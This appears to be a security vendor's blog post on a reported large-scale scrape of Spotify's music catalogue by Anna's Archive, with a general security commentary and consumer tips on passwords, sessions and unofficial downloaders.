Anna’s Archive claims it obtained metadata for around 256 million tracks and audio files for roughly 86 million songs, totaling close to 300 TB. Reportedly, this represents about 99.9% of Spotify’s catalog and roughly 99.6% of all streams.

Spotify says it has “identified and disabled the nefarious user accounts that engaged in unlawful scraping” and implemented new safeguards.

From a security perspective, this incident is a textbook example of how scraping can escalate beyond “just metadata” into industrial‑scale content theft. By combining public APIs, token abuse, rate‑limit evasion, and DRM bypass techniques, attackers can extract protected content at scale. If you can create or compromise enough accounts and make them appear legitimate, you can chip away at content protections over time.

The “Spotify scrape” will likely be framed as a copyright story. But from a security angle, it serves as a reminder: if a platform exposes content or metadata at scale, someone will eventually automate access to it, weaponize it, and redistribute it.

And hiding behind violations of terms and conditions—which have never stopped criminals—is not effective security control.

How does this affect you?

There is currently no indication that passwords, payment details, or private playlists were exposed. This incident is purely about content and metadata, not user databases. That said, scammers may still claim otherwise. Be cautious of messages alleging your account data was compromised and asking for your login details.

Some general Spotify security tips, to be on the safe side:

• If you have reused your Spotify password elsewhere or shared your credentials, consider changing your password for peace of mind.
• Regularly review active sessions on streaming services and revoke anything you do not recognize. Spotify does not offer per-device session management, but you can sign out of all devices via Account > Settings and privacy on the Spotify website.
• Avoid unofficial downloaders, converters, or “Spotify mods” that ask for your login or broad OAuth permissions. These tools often rely on the same kind of scraping infrastructure—or worse, function as credential-stealing malware.

We don’t just report on threats – we help protect your social media

Cybersecurity risks should never spread beyond a headline. Protect your social media accounts by using Malwarebytes Identity Theft Protection.